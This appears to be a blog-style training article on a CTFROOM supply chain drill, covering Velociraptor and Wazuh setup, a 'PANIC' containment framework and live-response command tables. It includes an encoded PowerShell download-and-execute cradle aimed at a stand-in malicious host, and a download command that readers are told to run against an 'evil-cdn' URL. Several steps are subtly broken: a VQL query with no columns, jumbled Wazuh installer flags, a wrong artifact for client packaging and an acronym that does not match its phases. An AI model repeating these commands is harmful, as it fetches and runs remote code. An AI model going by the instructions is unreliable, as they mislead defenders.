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Introduction
Modern enterprises increasingly fall victim to supply chain attacks, where adversaries penetrate trusted third-party software, vendors, or infrastructure to compromise a primary target. The CTFROOM “Operation Glass House—Supply Chain Attack Response” cyber drill, which awarded nine CPE points upon completion, simulates precisely this scenario, demanding that blue teams detect, investigate, and contain a sophisticated supply chain compromise under time pressure, with participants leveraging industry-standard DFIR and monitoring solutions.
Learning Objectives
- Master the deployment and real-time querying of the open-source Velociraptor DFIR tool for forensic investigations and threat hunting.
- Architect and configure a Wazuh SIEM deployment for centralized security monitoring, intrusion detection, and file integrity monitoring.
- Execute supply chain incident containment, root cause analysis, and post-incident recovery using structured IR methodologies.
You Should Know
- Unlocking Velociraptor: The Open-Source DFIR Powerhouse for Deep Endpoint Investigations
Velociraptor is an open-source Digital Forensics and Incident Response (DFIR) tool designed for rapid, large-scale endpoint monitoring and forensic collection. Unlike traditional endpoint detection and response (EDR) solutions, Velociraptor empowers analysts with the Velociraptor Query Language (VQL), an SQL-like language used to write custom “artifacts” that hunt for specific Indicators of Compromise (IoCs) across thousands of endpoints in minutes. In the CTFROOM drill, this capability was critical for rapidly identifying malicious artifacts implanted via a compromised software update pathway.
Step-by-Step Guide to Deploying Velociraptor and Conducting a Basic Hunt
This guide assumes an Ubuntu 22.04 server for the Velociraptor server component and a Windows 10/11 endpoint as the target. We will use the official Velociraptor release.
Step 1: Download and Configure the Velociraptor Server on Ubuntu.
Download the latest Linux binary from the official GitHub releases. Then, generate a server configuration file and run the initial setup script. This step establishes the central server that will manage all monitored endpoints.
Download the latest Velociraptor server binary (adjust version number as needed) wget https://github.com/Velocidex/velociraptor/releases/download/v0.7.2/velociraptor-v0.7.2-linux-amd64 chmod +x velociraptor-v0.7.2-linux-amd64 sudo mv velociraptor-v0.7.2-linux-amd64 /usr/local/bin/velociraptor Generate a new server configuration file sudo velociraptor config generate > server.config.yaml Run the initial setup to create admin user, datastore, and frontend certificates sudo velociraptor --config server.config.yaml frontend
After execution, the Velociraptor server’s web interface will be accessible on https://<your-server-ip>:8889. Log in with the credentials generated during the setup.
Step 2: Create a Client Deployment Package.
Access the Velociraptor web UI, navigate to the “Server Artifacts” section, and select the “Server.Inventory” artifact. Locate the action “Generate Client Package.” Choose the appropriate package type (e.g., Windows MSI for easy deployment).
Step 3: Deploy the Velociraptor Client to a Windows Target.
Execute the generated MSI installer on your target Windows endpoint. Once installed, the client will automatically communicate with your server, awaiting instructions.
Step 4: Perform a Basic Forensic Hunt Using VQL.
From the Velociraptor web UI, click on “Hunts” -> “New Hunt.” Search for and select the “Windows.Sys.Processes” artifact. This artifact collects a snapshot of all currently running processes. In the hunt parameters, under “Client IDs,” select the newly deployed Windows client. Launch the hunt, which will collect process list data.
To analyze the results, after the hunt completes, click on a client in the hunt results, then select the “Uploaded Files” tab. Click “Download CSV” to obtain a detailed list of every running process, including PIDs, parent PIDs, binary paths, and command-line arguments. This data is invaluable for identifying suspicious processes like the following:
powershell.exe -enc SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALQBjAG0AZAAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAnACkA
Step 5: Write a Custom VQL Artifact to Hunt a Known IOCs.
To automate hunting for known supply chain compromise indicators, navigate to “Artifacts” in the web UI and click “Create Artifact.” Paste the following VQL that checks for a suspicious directory created by a supply chain attack (e.g., referencing a hypothetical `.driller` directory):
name: Custom.Hunt.SuspiciousDirectory description: | Hunt for the presence of a known suspicious directory used in a supply chain attack. sources: - query: | SELECT FROM glob(globs="/ProgramData/.driller/")
After saving, create a new hunt, select the `Custom.Hunt.SuspiciousDirectory` artifact, and deploy it to your client(s). The results will instantly highlight any endpoints that contain this IoC.
- Deploying Wazuh SIEM: From Installation to Real-World Threat Detection
Wazuh is an open-source security platform that unifies SIEM, intrusion detection (IDS), file integrity monitoring (FIM), and vulnerability management capabilities. In a supply chain attack, Wazuh’s real-time log analysis and correlation rules can detect the initial compromise beaconing, anomalous process execution from temporary directories, and unexpected changes to critical system files. This section provides a verified, step-by-step deployment guide for a Ubuntu-based Wazuh server and a Windows agent, mirroring the setup relevant to the CTFROOM exercise.
Step-by-Step Guide to Installing Wazuh and Detecting an Anomalous Process
This guide uses the official Wazuh all-in-one installation assistant on a fresh Ubuntu 22.04 or 20.04 server (4GB RAM minimum).
Step 1: Run the Wazuh Quickstart Installation.
Connect to your Ubuntu server via SSH. Download and execute the Wazuh installation assistant script. This interactive script automates the installation and initial configuration of the Wazuh manager, API, Filebeat, and Kibana interface.
Download the installation assistant curl -sO https://packages.wazuh.com/4.10/wazuh-install.sh Run the installation with the '--generate-config-files' and '--wazuh-server' flags to create an all-in-one deployment sudo bash wazuh-install.sh --generate-config-files --wazuh-server Run the main installer to set up the Wazuh server and Kibana sudo bash wazuh-install.sh --wazuh-server wazuh-indexer wazuh-dashboard
After completion, note the randomly generated password for the `admin` user, which will be printed to the console.
Step 2: Access the Wazuh Dashboard.
Open a web browser and navigate to https://<your-wazuh-server-ip>. Log in using the user `admin` and the password from the previous step. This dashboard provides the central interface for alert monitoring, configuration management, and agent administration.
Step 3: Deploy a Wazuh Agent to a Windows Endpoint.
Log into the Wazuh Dashboard, navigate to “Agents” -> “Deploy new agent.” Fill in the deployment form:
– Server Address: Enter the IP address of your Wazuh server.
– Agent Name: `WIN-SUPPLY-CHAIN-01`
– Group: `default`
– Operating System: `Windows (msi)`
The dashboard will provide you with a specific installation command. On your Windows endpoint, run the provided MSI installer as administrator.
Step 4: Verify Agent Connectivity.
Return to the Wazuh Dashboard, click on “Agents” in the left-hand menu. After 30-60 seconds, the `WIN-SUPPLY-CHAIN-01` agent should appear on the list with a status of “Active.”
Step 5: Simulate a Supply Chain Attack Indicator and Trigger a Wazuh Alert.
From your Windows endpoint, simulate a malicious command often observed in software build pipeline compromises. Open Windows PowerShell as Administrator and execute the following command, which downloads a “payload” from a remote server:
Invoke-WebRequest -Uri "http://evil-cdn.pypa.io/packages/malicious.whl" -OutFile "$env:TEMP\update.whl"
Within seconds, Wazuh’s built-in rules will detect this activity. Navigate to the “Security Events” module in the Wazuh Dashboard. You should see a series of alerts, prominently including a rule with level 10: “Windows PowerShell downloading file from the internet.” Additionally, Wazuh’s FIM capabilities can be configured to monitor critical system directories for changes, instantly alerting if a legitimate binary is replaced with a malicious one through a compromised update channel.
- Containment Strategies: The PANIC Framework for Structured Incident Response
In the chaos of a live security incident, a structured decision-making framework is the difference between containment and catastrophe. The PANIC framework—introduced at the CTFROOM drill by Lawrence Muchilwa of FIRST (Forum of Incident Response and Security Teams)—provides a practical, actionable approach for incident responders when facing high-severity breaches. Unlike abstract models, PANIC focuses on short-term, tactical actions designed to halt adversary progress, preserve evidence, and initiate recovery under extreme pressure.
The PANIC framework typically consists of five core phases:
– P – Preliminary Triage: Establish the scope of the incident. What systems, users, or data are affected? Is the breach still ongoing? This phase involves activating the incident response team, initiating a timeline, and collecting initial, volatile data using commands like `netstat` and tasklist.
– A – Analysis and Assessment: Analyze the collected data to understand the TTPs (Tactics, Techniques, and Procedures) used by the adversary. Determine the root cause: was it a phishing email, a compromised third-party credential, or a vulnerable public-facing application? This phase leverages SIEM data from tools like Wazuh and memory dumps from Velociraptor.
– N – Neutralization and Containment: Stop the bleeding. This phase involves short-term containment actions to isolate affected systems and prevent the attack from spreading. Immediate actions include:
– Network isolation: Execute `New-NetFirewallRule -DisplayName “BLOCK_IP” -Direction Outbound -RemoteAddress 203.0.113.45 -Action Block` on a Windows endpoint.
– Process termination: Use `taskkill /PID 1234 /F` to force-kill a malicious process.
– User account suspension: Use `net user malicious_user /active:no` on a domain controller or local system.
– DNS sinkholing: Re-route traffic to known malicious domains to an internal server for further analysis.
– I – Investigation and Evidence Collection: Systematically collect and preserve forensic evidence for root cause analysis, legal proceedings, or further hunting. This phase involves creating forensic images of affected systems and collecting logs, registry keys, and file system artifacts. Commands like `wevtutil epl System system_log.evtx` (Windows) or `dd if=/dev/sda1 of=drive_image.dd` (Linux) are used.
– C – Recovery and Continuity: Once the adversary is contained and all traces of the breach are removed from the environment, this phase focuses on restoring affected systems from clean, immutable backups and bringing them back online in a phased, monitored manner.
The PANIC framework transforms panic into procedure, ensuring that even in a worst-case supply chain breach, the response is methodical, coordinated, and effective.
4. Mastering Live Forensics: A Cross-Platform Command Reference
Effective live response is a core competency for any incident responder. In the CTFROOM “Operation Glass House” drill, participants needed to quickly interrogate potentially compromised systems to identify anomalous activity before the environment changed. The following tables provide a curated list of the most useful, verified commands for both Windows and Linux environments, directly applicable to a supply chain incident.
Windows Live Response Commands
| Command | Description |
| : | : |
| `systeminfo \| findstr /B /C:”OS Name” /C:”OS Version” /C:”System Type”` | Display OS version, build, and architecture details. |
| `wmic qfe list brief /format:table` | List all installed Windows patches (KB updates). |
| `tasklist /v /fo csv \| findstr /i “temp\\ malicious powershell”` | Generate a verbose list of all processes, then filter for anomalies. |
| `netstat -ano \| findstr /i “LISTENING ESTABLISHED”` | Display detailed network connections with associated process IDs (PIDs). |
| `Get-ScheduledTask \| where {$_.TaskPath -notlike “\Microsoft\”} \| ft TaskName, State` | List non-Microsoft scheduled tasks for persistence mechanisms. |
Linux Live Response Commands
| Command | Description |
| : | : |
| `cat /etc/os-release` | Display the operating system distribution name and version. |
| `ps auxfw` | Display all running processes with a visual forest format showing parent-child relationships. |
| `ss -tulpn` | Display all listening TCP/UDP ports and related processes. |
| `find / -type f -name “.so” -newer /etc/passwd 2>/dev/null` | Search for recently created shared object files (.so), which are often used for Linux persistence. |
| `crontab -l` and `crontab -u root -l` | List cron jobs for the current user and for root to identify malicious schedule tasks. |
What Undercode Says:
- Simulation is the only path to readiness: Tabletop exercises and lecture-based training cannot replicate the pressure of a live breach. Immersive, time-constrained simulations like CTFROOM’s “Operation Glass House” are essential for building muscle memory and honing critical decision-making skills.
- Open-source toolchains are IR-ready: The combination of Velociraptor for forensic hunting and Wazuh for monitoring provides a world-class, cost-effective security stack that rivals expensive commercial solutions. Mastery of these tools is becoming an indispensable skill for modern blue teams.
- Structured frameworks beat ad-hoc heroics: The PANIC framework provides a critical mental model for crisis response, turning chaos into a measurable, repeatable process. It bridges the gap between high-level IR plans and the tactical commands executed on a keyboard.
Prediction
As software supply chain attacks increase exponentially, the demand for blue-team professionals with verified, hands-on simulation experience will skyrocket. Consequently, platforms like CTFROOM will shift from optional training to mandatory prerequisites for security operations center (SOC) roles, while certifications that lack a practical, live-RT component will become largely obsolete. The future of incident response workforce development will be built entirely on measurable performance within high-fidelity, cloud-based cyber ranges.
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